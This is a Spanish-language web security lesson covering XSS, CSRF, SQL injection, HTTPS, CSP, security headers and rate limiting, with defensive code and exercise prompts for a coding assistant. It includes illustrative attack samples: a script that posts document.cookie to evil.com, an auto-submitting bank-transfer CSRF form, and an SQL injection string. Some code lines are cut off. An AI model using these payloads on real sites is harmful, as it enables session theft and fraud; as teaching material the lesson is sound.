

Lección 19: Web Security Essentials

Fundamentos de Seguridad Web

Agenda

- XSS (Cross-Site Scripting)
 - CSRF (Cross-Site Request Forgery)
 - SQL Injection
 - HTTPS & TLS
 - Content Security Policy
 - Security Headers
-

XSS: Cross-Site Scripting

El Ataque:

```
<!-- User input sin sanitizar -->
<div>
  Welcome,
  <script>
    fetch('https://evil.com', {
      method: 'POST',
      body: document.cookie, // Steal cookies!
    })
  </script>
</div>
```

Tipos de XSS:

1. **Stored:** Guardado en DB, afecta a todos

2. **Reflected**: En URL, afecta a víctima específica
 3. **DOM-based**: Manipula DOM directamente
-

¿Qué es Escapar HTML?

Escapar (Escape): Convertir caracteres especiales de HTML en entidades seguras

Por qué es necesario:

Input del usuario:

```
<script>
  alert('XSS')
</script>
```

Sin escapar:

```
<div>
  <script>
    alert('XSS')
  </script>
</div>
```

→ ¡Script se ejecuta! ❌ Con escapar:

```
<div>&lt;script&gt;alert('XSS')&lt;/script&gt;</div>
```

→ Se muestra como texto, NO se ejecuta ✅

Conversiones:

- < → < (less than)
 - > → > (greater than)
 - & → & (ampersand)
-

XSS: Defensa

❌ Vulnerable:

```
// Inserción directa de HTML
element.innerHTML = userInput
```

```
// Template sin escapar
<div>{userInput}</div>
```

✓ Seguro:

```
// React escapa por defecto
<div>{userInput}</div> // ¡Seguro!
```

```
// Escapado manual
function escapeHtml(text) {
  return text
    .replace(/&/g, '&amp;')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
}
```

```
// Usar DOMPurify para contenido rico
import DOMPurify from 'dompurify'
const clean = DOMPurify.sanitize(userHtml)
```

CSRF: Cross-Site Request Forgery

El Ataque:

```
<!-- Sitio malicioso envía form a tu API -->
<form action="https://yourbank.com/transfer" method="POST">
  <input name="to" value="attacker-account" />
  <input name="amount" value="1000" />
</form>
<script>
  document.forms[0].submit()
</script>
```

Usuario autenticado visita sitio malicioso → Form se envía automáticamente con sus cookies

CSRF: Defensa

1. SameSite Cookies:

```
res.cookie('session', token, {
  sameSite: 'strict', // Cookie solo enviada al mismo sitio
  httpOnly: true,
  secure: true,
})
```

2. CSRF Tokens:

```
// Servidor genera token aleatorio por sesión
const csrfToken = generateRandomToken()

// Incluir en formularios
<input type="hidden" name="_csrf" value={csrfToken}>

// Verificar en servidor
if (req.body._csrf !== req.session.csrfToken) {
  return res.status(403).json({ error: 'Invalid CSRF token' })
}
```

SQL Injection

Vulnerable:

```
// Concatenación de strings
const query = `SELECT * FROM users
               WHERE email = '${userEmail}'`
db.query(query)

// Atacante envía: ' OR '1'='1
// Query se convierte en: SELECT * FROM users WHERE email = '' OR '1'='1'
// ¡Retorna TODOS los usuarios!
```

Seguro:

```
// Queries parametrizadas
```

```
const query = 'SELECT * FROM users WHERE email = ?'  
db.query(query, [userEmail])  
  
// ORM (Prisma, TypeORM)  
await db.user.findOne({ where: { email: userEmail } })
```

HTTPS & TLS

Por qué HTTPS es Crítico:

HTTP (sin encriptar):
Navegador → Internet (VISIBLE) → Servidor

- Contraseñas visibles
- Cookies robadas
- Contenido modificado
- Ataques MITM

HTTPS (encriptado):
Navegador → Túnel TLS → Servidor

- Encriptación punto a punto
- Validación de certificado
- Protección de integridad

HTTPS: Implementación

SSL Gratis con Let's Encrypt:

```
# Install certbot  
sudo apt-get install certbot  
  
# Get certificate  
sudo certbot --nginx -d yourdomain.com  
  
# Auto-renewal  
sudo certbot renew --dry-run
```

Forzar HTTPS:

```
// Express middleware
app.use((req, res, next) => {
  if (req.header('x-forwarded-proto') !== 'https') {
    return res.redirect(`https://${req.header('host')}${req.url}`)
  }
  next()
})
```

Content Security Policy (CSP)

¿Qué es CSP?

Headers HTTP que le dicen al navegador QUÉ recursos puede cargar y DE DÓNDE (controla scripts, estilos, imágenes, etc.)

Ejemplo: “Solo permite scripts de MI dominio” → Scripts de atacantes NO se ejecutan

Previene:

- Ataques XSS (bloquea scripts no autorizados)
 - Inyección de código malicioso
 - Clickjacking (embedding en iframe malicioso)
 - Exfiltración de datos (envío no autorizado a sitios externos)
-

CSP: Configuración

```
// CSP estricto
app.use((req, res, next) => {
  res.setHeader(
    'Content-Security-Policy',
    `
    default-src 'self';
    script-src 'self';
    style-src 'self' 'unsafe-inline';
    img-src 'self' data: https:;
    font-src 'self';
    connect-src 'self' https://api.yourdomain.com;
    frame-ancestors 'none';
  `
  )
  next()
})
```

```
        .replace(/\s+/g, ' ')
        .trim()
    )
    next()
})
```

Directivas:

- default-src : Fallback para todos los recursos
- script-src : De dónde pueden cargar scripts
- style-src : De dónde pueden cargar estilos
- img-src : De dónde pueden cargar imágenes
- connect-src : A dónde puede ir fetch/XHR

Headers de Seguridad

Headers esenciales:

```
app.use((req, res, next) => {
  // X-Frame-Options: Prevenir clickjacking (evita embedding en iframes)
  res.setHeader('X-Frame-Options', 'DENY')

  // X-Content-Type-Options: Prevenir MIME sniffing
  // (browser no adivina tipo de archivo, usa el declarado)
  res.setHeader('X-Content-Type-Options', 'nosniff')

  // X-XSS-Protection: Protección XSS del navegador
  res.setHeader('X-XSS-Protection', '1; mode=block')

  // Strict-Transport-Security: Forzar HTTPS siempre
  // (browser recuerda usar HTTPS por 1 año)
  res.setHeader('Strict-Transport-Security', 'max-age=31536000; includeSubD

  // Referrer-Policy: Controlar qué info se envía en headers
  // (evita leak de URLs sensibles)
  res.setHeader('Referrer-Policy', 'strict-origin-when-cross-origin')

  next()
})
```

Helmet.js: Seguridad Fácil

```
import helmet from 'helmet'

// Aplicar todos los headers de seguridad de una vez
app.use(helmet())

// O configurar individualmente
app.use(
  helmet({
    contentSecurityPolicy: {
      directives: {
        defaultSrc: ['self'],
        scriptSrc: ['self', 'unsafe-inline'],
        styleSrc: ['self', 'unsafe-inline'],
      },
    },
    hsts: {
      maxAge: 31536000,
      includeSubDomains: true,
    },
  })
)
```

Limitación de Tasa (Rate Limiting)

Prevenir fuerza bruta:

```
import rateLimit from 'express-rate-limit'

const limiter = rateLimit({
  windowMs: 15 * 60 * 1000, // 15 minutos
  max: 100, // 100 requests por ventana
  message: 'Demasiadas solicitudes desde esta IP',
})

// Aplicar a todas las requests
app.use(limiter)

// Más estricto para endpoints sensibles
const loginLimiter = rateLimit({
  windowMs: 15 * 60 * 1000,
```



```
    max: 5, // Solo 5 intentos de login
    message: 'Demasiados intentos de login',
  })

app.post('/api/login', loginLimiter, handleLogin)
```

Validación de Input

Siempre validar:

```
import { z } from 'zod'

const UserSchema = z.object({
  email: z.string().email(),
  password: z.string().min(8).max(100),
  age: z.number().min(13).max(120),
})

app.post('/api/register', (req, res) => {
  try {
    const data = UserSchema.parse(req.body)
    // Seguro usar data
  } catch (error) {
    return res.status(400).json({ error: error.errors })
  }
})
```

Seguridad de Dependencias

Auditar dependencias:

```
# Verificar vulnerabilidades
npm audit

# Corregir automáticamente
npm audit fix

# Forzar corrección de cambios que rompen
npm audit fix --force
```

Herramientas:

- **Snyk:** Monitoreo continuo de seguridad
 - **Dependabot:** Actualizaciones automáticas de seguridad
 - **npm audit:** Verificador de vulnerabilidades integrado
-

Checklist de Seguridad (1/2)

Backend:

- ☐ HTTPS habilitado
 - ☐ Headers de seguridad (Helmet)
 - ☐ Validación de input (Zod)
 - ☐ Prevención de SQL injection (queries parametrizadas)
 - ☐ Limitación de tasa
 - ☐ Protección CSRF
 - ☐ Dependencias actualizadas
-

Checklist de Seguridad (2/2)

Frontend:

- ☐ Prevención de XSS (sanitizar input)
 - ☐ CSP configurado
 - ☐ Secretos no en código
 - ☐ httpOnly cookies
 - ☐ Dependencias actualizadas
-

Ejercicio 1: Sanitizar Input con DOMPurify

Prompt:

Actúa como un security engineer implementando protección contra XSS (Cross-

CONTEXT0: XSS attack = atacante inyecta código malicioso (<script>) en inpu

que luego se ejecuta en navegador de víctimas. React auto-escapes JSX ({use PERO dangerouslySetInnerHTML bypasses protección (permite HTML raw). DOMPur librería que sanitiza HTML removiendo tags peligrosos (<script>, <iframe>, handlers como onclick). DOMPurify.sanitize(html): retorna HTML limpio (remu <script> pero mantiene , <i>, etc.). Stored XSS: código malicioso guarda → afecta a TODOS los usuarios (muy peligroso). Defense **in** depth: sanitizar ANTES de guardar + ANTES de mostrar (doble protección). IMPORTANTE: React e automáticamente JSX, solo necesitas DOMPurify si usas dangerouslySetInnerHT

TAREA: Sanitiza product.name con DOMPurify para prevenir XSS.

INSTALACIÓN:

- Comando: `pnpm add dompurify @types/dompurify`
- Librería: HTML sanitization

IMPLEMENTACIÓN:

- Archivo: `src/features/product-catalog/components/ProductCard.tsx`
- Ubicación: Donde renderizas product.name
- Pattern: `const safeName = DOMPurify.sanitize(product.name)`
- Render: `<h3>{safeName}</h3>` (React auto-escapes) o `dangerouslySetInnerHTM`

SANITIZATION PATTERN:

```
import DOMPurify from 'dompurify'
```

```
const safeName = DOMPurify.sanitize(product.name)
```

TESTING XSS PROTECTION:

1. Modificar products.ts: agregar producto con name malicioso
 - name: `'<script>alert("XSS Attack!")</script>Laptop'`
2. Abrir app en navegador
3. Verificar que:
 - Alert NO ejecuta (script bloqueado)
 - Texto `'Laptop'` se muestra normalmente
 - DevTools Console NO muestra errors
4. Inspeccionar HTML: `<script>` tag debe estar removido completamente

VALIDACIÓN: Script malicioso debe ser removido sin afectar texto legítimo

Aprende: DOMPurify previene XSS removiendo código

malicioso mientras mantiene HTML seguro

Ejercicio 2: Security Headers

Prompt:

Actúa como un infrastructure engineer configurando security headers para pr

CONTEXT0: Security headers = HTTP response headers que configuran proteccio navegador. X-Content-Type-Options: nosniff previene MIME **type** sniffing (nav NO adivina content **type**, usa el declarado). X-Frame-Options: DENY previene (página NO puede ser embebida en iframe). X-XSS-Protection: habilita filtro navegador (backup si sanitización falla). Strict-Transport-Security (HSTS): HTTPS en requests futuros (previene downgrade attacks). Middleware pattern: que se ejecuta en TODAS las requests (res.setHeader aplica a todas las resp Express next(): pasa control al siguiente middleware/route handler. Helmet. que aplica múltiples security headers automáticamente (alternativa más comp

TAREA: Agrega security headers esenciales al mock server.

IMPLEMENTACIÓN:

- Archivo: src/api/mockServer.ts (o donde tengas server setup)
- Pattern: Middleware **function** con res.setHeader()
- Ubicación: ANTES de route handlers (app.use() early)

HEADERS REQUERIDOS:

1. X-Content-Type-Options: '**nosniff**' (previene MIME sniffing)
2. X-Frame-Options: '**DENY**' (previene clickjacking)
3. X-XSS-Protection: '**1; mode=block**' (habilita XSS filter)
4. Strict-Transport-Security: '**max-age=31536000**' (fuerza HTTPS 1 año)

MIDDLEWARE PATTERN:

```
app.use((req, res, next) => {
  res.setHeader('X-Content-Type-Options', 'nosniff')
  // ... más headers
  next()
})
```

VALIDACIÓN EN DEVTOOLS:

1. Ejecutar app: pnpm run dev
2. Abrir DevTools (F12) → Network tab
3. Reload página (genera requests)
4. Click en cualquier request (products, cart, etc.)

5. Headers tab → Response Headers section
6. Verificar que headers aparecen:
 - X-Content-Type-Options: nosniff 
 - X-Frame-Options: DENY 
 - X-XSS-Protection: 1; mode=block 
 - Strict-Transport-Security: max-age=31536000 

VALIDACIÓN: Todos los headers deben aparecer en TODAS las API responses

Aprende: Security headers configuran protecciones

del navegador como defensa adicional

Puntos Clave

1. **XSS:** Sanitizar input de usuario siempre
2. **CSRF:** SameSite cookies + CSRF tokens
3. **SQL Injection:** Queries parametrizadas
4. **HTTPS:** Encriptar todo
5. **CSP:** Restringir carga de recursos
6. **Headers de Seguridad:** Usar Helmet.js
7. **Rate Limiting:** Prevenir fuerza bruta